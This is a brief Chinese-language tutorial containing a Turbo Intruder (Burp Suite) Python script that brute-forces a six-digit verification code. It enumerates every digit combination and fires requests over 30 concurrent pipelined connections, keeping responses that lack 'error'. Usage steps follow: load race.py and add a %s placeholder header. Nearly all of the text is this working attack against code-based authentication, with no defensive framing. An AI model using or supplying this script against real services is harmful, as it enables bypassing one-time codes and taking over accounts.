抓到包点击
from itertools import product
def brute_veify_code(target, engine, length):
pattern = '1234567890' #用于生成字典的迭代对像
for i in list(product(pattern, repeat=length)): #product()接收多个迭代对像,然后生成一个笛卡尔积,repeat参数代表重复迭代对象次数。
code = ''.join(i)
engine.queue(target.req, code)
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint, #指定目标的地址
concurrentConnections=30, #与服务器建立30条连接
requestsPerConnection=100, #每条连接同时发送100个请求
pipeline=True #开启管道(HTTP Pipelining)模式
)
brute_veify_code(target, engine, 6) #根据验证码位数修改
def handleResponse(req, interesting):
if 'error' not in req.response: #对response进行操作,不含有“error”的添加入表中
table.add(req)
选择/examples/race.py
启动攻击会检测是否有%s
如果不需要则可以请求头随便加一个
如 X: %s